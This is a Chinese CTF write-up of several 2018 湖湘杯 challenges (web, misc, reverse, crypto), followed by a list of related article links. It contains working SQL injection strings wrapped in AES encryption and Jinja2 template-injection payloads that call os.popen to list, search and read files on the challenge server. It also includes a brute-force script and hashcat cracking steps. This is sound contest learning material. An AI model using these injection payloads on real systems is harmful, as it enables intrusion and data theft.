湖湘杯 2018 WriteUp (部分),欢迎转载,转载请注明出处https://www.cnblogs.com/iAmSoScArEd/p/10016564.html !

1、  CodeCheck(WEB)

测试admin ‘ or ‘1’=’1’# ,php报错。点击登录框下面的滚动通知,URL中有id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09,想到注入,但是不管输入什么都给弹到index,于是扔下这个思路。掏出目录扫描工具,发现存在list.zip,打开后是前面存在注入的界面。

图中告诉了加密的算法,AES-128-CBC对称加密,给了iv和key。并且若id后七位不是hxb2018则发生跳转(知道了之前一直跳index的原因),并且在最后返回的内容中会过滤掉空格。

上图可以看到注入的下面根据审计出的东西进行构造sql注入语句,因为会过滤空格,所以需要对空格进行代替,那就选择常用的注释/**/吧。

第一次注入为了测试有效性构造了1/**/and/**/1=2/**/union/**/select/**/1,2,3,4/**/hxb2018

对其进行AES-128-CBC加密,加密配置如下图:

拿到加密的结果放到id=后面,发现原通知部分显示了数字2和3,(3在正文部分)所以我们用第三个字段的位置来显示查询内容。

1,构造爆表语句:

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(table_name),4/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/hxb2018

结果:notice,notice2,stormgroup_member

2,构造爆字段语句:

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(column_name),4/**/from/**/information_schema.columns/**/where/**/table_name=notice2/**/hxb2018

结果:id,title

3,构造爆记录语句:

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(id,0x3a,title),4/**/from/**/notice2/**/hxb2018

结果:1,hxb2018{088425ca08783233bbe9d21a3015f5f6}

(在这里没有写出加密的密文,在之前已经讲了如何配置加密参数,只需要把上面的SQL语句放进去直接加密皆可以了。其他表和字段只需要替换相应位置的名字即可,这里只列出了flag所在表)

在加密过程中注意的是AES-128-CBC加密的十六进制结果要进行两次base64 encode,因为上面的代码中解密过程用了两次decode。

2、  XmeO(WEB)

这道题一上来看到登录框,admin。admin登录,有个评论输入的页面,尝试是不是代码执行或命令执行,然后点击ADD添加以下代码:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].popen('ls /home/XmeO').read()}}

(在这之前我是ls etc/passwd的,发现可以读取文件,就找了一下home目录的文件夹,发现了XmeO与题目名一样的文件夹,于是对该目录进行列文件)。下图:

根据flag格式 直接find:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].popen('find .|xargs grep -ri "hxb" -l').read()}}

在这里一眼就看见了最后一个auto.js是第一次查询结果的第一个,直接查看这个文件:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].popen('cat /home/XmeO/auto.js').read()}}

3.Flow(MISC)

提取pcap包在线转换成hccapx格式

用Hashcat 爆破

然后用wireshark导入密码解密

搜索flag

4题目名:Welcome(MISC)

解题思路、相关代码和Flag截图:

这个题就不说了,关注要求的公众号,发hxb2018就行

5题目名:Replace(REVERSE)

解题思路、相关代码和Flag截图:

解题思路:拿到题,先拖进ida再说,然而发现加壳了,查壳发现是upx的壳,遂找了个upx脱壳机,脱壳成功!

然而,脱壳后的程序无法正常运行,便再次拖入ida,这时代码可以顺利分析了,能不能运行就不重要了。

上图是程序,关键点就在sub_401090()函数里,进入:

分析了下,发现该算法利用已有字节数组对每个输入字符进行了加密,因此思路就是:

python模仿加密算法进行字节爆破。

Python脚本如下:

a1= [0x32,0x61,0x34,0x39,0x66,0x36,0x39,0x63,0x33,0x38,0x33,0x39,0x35,0x63,0x64,0x65,0x39,0x36,0x64,0x36,0x64,0x65,0x39,0x36,0x64,0x36,0x66,0x34,0x65,0x30,0x32,0x35,0x34,0x38,0x34,0x39,0x35,0x34,0x64,0x36,0x31,0x39,0x35,0x34,0x34,0x38,0x64,0x65,0x66,0x36,0x65,0x32,0x64,0x61,0x64,0x36,0x37,0x37,0x38,0x36,0x65,0x32,0x31,0x64,0x35,0x61,0x64,0x61,0x65,0x36]

a2= [0x61,0x34,0x39,0x66,0x36,0x39,0x63,0x33,0x38,0x33,0x39,0x35,0x63,0x64,0x65,0x39,0x36,0x64,0x36,0x64,0x65,0x39,0x36,0x64,0x36,0x66,0x34,0x65,0x30,0x32,0x35,0x34,0x38,0x34,0x39,0x35,0x34,0x64,0x36,0x31,0x39,0x35,0x34,0x34,0x38,0x64,0x65,0x66,0x36,0x65,0x32,0x64,0x61,0x64,0x36,0x37,0x37,0x38,0x36,0x65,0x32,0x31,0x64,0x35,0x61,0x64,0x61,0x65,0x36]

a3= [0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16]

def check(ch,i):

v6 = (ord(ch) >> 4) % 16

v7 = (16 * ord(ch) >> 4) % 16

v8 = a1[2 * i]

if  chr(v8) < '0' or chr(v8) > '9':

v9 = v8 - ord('W')

else:

v9 = v8 - ord('0')

v10 = a2[2 * i]

v11 = 16 * v9

if  chr(v10) < '0' or chr(v10) > '9':

v12 = v10 - ord('W')

else:

v12 = v10 - ord('0')

if a3[16 * v6 + v7] != ((v11 + v12) ^ 0x19):

return False

i += 1

return True

buf = ['1', '2', '3']

flag = []

for i in range(0, 35):

for ch in range(0x20,0x7F):

if check(chr(ch), i):

flag.append(chr(ch))

print(''.join(flag))

运行脚本,很容易就得到flag:

6、  题目名:Common Crypto(CRYPTO)

解题思路:既然题目名说是Common Crypto,那先把程序拖入ida,运行Findcrypt插件,结果如下:

说明程序中可能存在图中的加密算法,先按照这个思路来

把Big_Number先转字符串:

看着貌似没用,先放着。

下来分析程序:

可以看到,程序把输入的flag和String通过RijnDael(Findcrypt猜出来的)加密了,分析String的初始化,发现里面初始化了密钥,idc脚本导出

得到:1B2E3546586E72869BA7B5C8D9EFFFC(密钥)

继续分析程序,发现接下来程序把加密后的flag输入转成了字符并和给定串比较,那么只要解密给定串就可以知道什么是正确的flag

用工具解密:

将明文转换成字符串:

可以看到后面是乱码,因为只有前16个字节被真正加密,后面均是填充,故第一步得到的串补在刚得到的串(取16字节)后面即得到正确flag:

hxb2018{3d39929451ee66ab1658c073}

欢迎转载,转载请注明出处!

转载于:https://www.cnblogs.com/iAmSoScArEd/p/10016564.html

CTF 湖湘杯 2018 WriteUp (部分)相关推荐

  1. 2020湖湘杯部分writeup

    周末打了湖湘杯,把做题过程记录一下,大家交流学习. 下面的链接里有题目,可以下来看看. https://download.csdn.net/download/jameswhite2417/130819 ...

  2. 2021湖湘杯 Hideit Writeup

    2021湖湘杯 Hideit AAA : immortal 动态调试 直接x64dbg动调找到了关键的加密代码分别是xxtea 和 chacha20,直接动调从中拿出各种参数然后写代码进行解密.其实一 ...

  3. 2020湖湘杯-CRYPTO-LFSRXOR

    2020HXB-CRYPTO-LFSRXOR LFSRXOR 题目分析 开始 1.题目 2.数学理论 3.回到题目 (1)源代码 (2)LFSR分析 (3)content原文分析 4.破解 5.get ...

  4. 2018湖湘杯海选复赛Writeup

    2018湖湘杯Writeup 0x01 签到题 0x02 MISC Flow 0x03 WEB Code Check 0x04 WEB Readflag 0x05 WEB XmeO 0x06 Reve ...

  5. slax9Linux中文,湖湘杯-WriteUp | CN-SEC 中文网

    Web 题目名字不重要反正题挺简单的 解题思路 非预期,DASFLAG变量在phpinfo里显示出来了 NewWebsite 解题思路 http://47.111.104.169:56200/?r=c ...

  6. 2019湖湘杯 misc3 之miscmisc

    ** 2019湖湘杯 misc3 之miscmisc* 明文攻击 关于LSB图片隐写的解法 word字符隐藏显示 zip加密文件破解 作为CTF小白,对于CTF一如既往的热爱,一个人报名了今年的湖湘杯 ...

  7. 2020湖湘杯 wp

    2020湖湘杯 wp web 题目名字不重要反正题挺简单的 NewWebsite misc misc2(题目名忘了.....) 总结 昨天打了下湖湘杯,签到选手上线. web 题目名字不重要反正题挺简 ...

  8. 湖湘杯2021-pwn-final部分复现

    第一次参加awd+,虽然成绩不是很好(大佬太多被打烂了),有很多收获,awd+赛制中可以通过攻击和防御两个手段来得分,攻击的话就是类似于正常的ctf,只不过如果成功攻击后,平台会使用官方的exp来去打 ...

  9. 湖湘杯2019两个密码题wp

    湖湘杯2019两个密码题wp   还是自己太菜的原因,这次湖湘杯只做出来4道题,然后5点的时候就放弃了去跟同学出去玩了,当时感觉进前50无望(这次湖湘杯py情况也很严重啊,可惜烽火台只报不封,挺恶心的 ...

  10. 2017湖湘杯 pwn300

    2017湖湘杯 pwn300 该题为简单栈溢出,利用方法如下: (1)覆盖返回地址为read函数读入shellcode (2)执行mprotect让bss段的地址变的可执行 (3)跳转shellcod ...

最新文章

  1. response.setContentType()方法浅析
  2. CentOS下LAMP实战与心得
  3. OSS在private权限下的无参数访问(Nginx反向代理实现)
  4. OpenCV下设置灰度直方图的阈值来对图像进行查找(查表)变换的源码
  5. 2017年第八届蓝桥杯C/C++ B组国赛 —— 第三题:希尔伯特曲线
  6. RabbitMQ(mall学习)
  7. python爬虫网页pdf_爬虫实战【3】Python-如何将html转化为pdf(PdfKit)
  8. 设计师必读的15个响应式网页设计教程
  9. 卧薪尝胆三千越甲可吞吴
  10. mysql-mmm官方安装指南翻译
  11. 谷歌浏览器截图_【插件推荐】一键滚动截图整个网页,支持二次编辑的免费工具...
  12. [转载] 像 IDE 一样使用 vim
  13. 栈和队列的常见面试题-栈实现队列-队列实现栈
  14. 爬虫goodreads数据_精通技术的读者正在设计自己更好的goodreads版本
  15. Linux权限的理解 | 粘滞位 |权限掩码 |文件类型
  16. java计算机毕业设计物流站环境监测系统源码+系统+数据库+lw文档+mybatis+运行部署
  17. 轻松实现网页中通过链接跳转到QQ聊天界面,通过链接加QQ群,自动打开聊天对话框等等,包含电脑版和手机版的实现,示例部分Android和iOS的代码
  18. 【Transformer论文解读】TRAR: Routing the Attention Spans in Transformer for Visual Question Answering
  19. 转【JMeter】--JMeter下载及使用
  20. 利用ICMP协议,使用python原始套接字实现主机存活探测工具

热门文章

  1. feign扫描_微服务实战SpringCloud之Feign简介及使用
  2. 3d slicer调整窗宽窗位_3D游戏模型制作技巧,掌握这些技术你也能进鹅厂!
  3. linux fdisk运用
  4. VF 动态规划系列dp入门
  5. linux常用命令 less,Linux常用基本命令(less)
  6. 【CF1342D】Multiple Testcases(贪心+优先队列)
  7. TSAP(7) : ARIMA模型
  8. Effective Python: bytes, str, unicode
  9. 自动驾驶 2-1 第 1 课补充阅读:传感器和计算硬件 -- 上
  10. 翻译: 欢迎使用 KITTI Vision Benchmark Suite!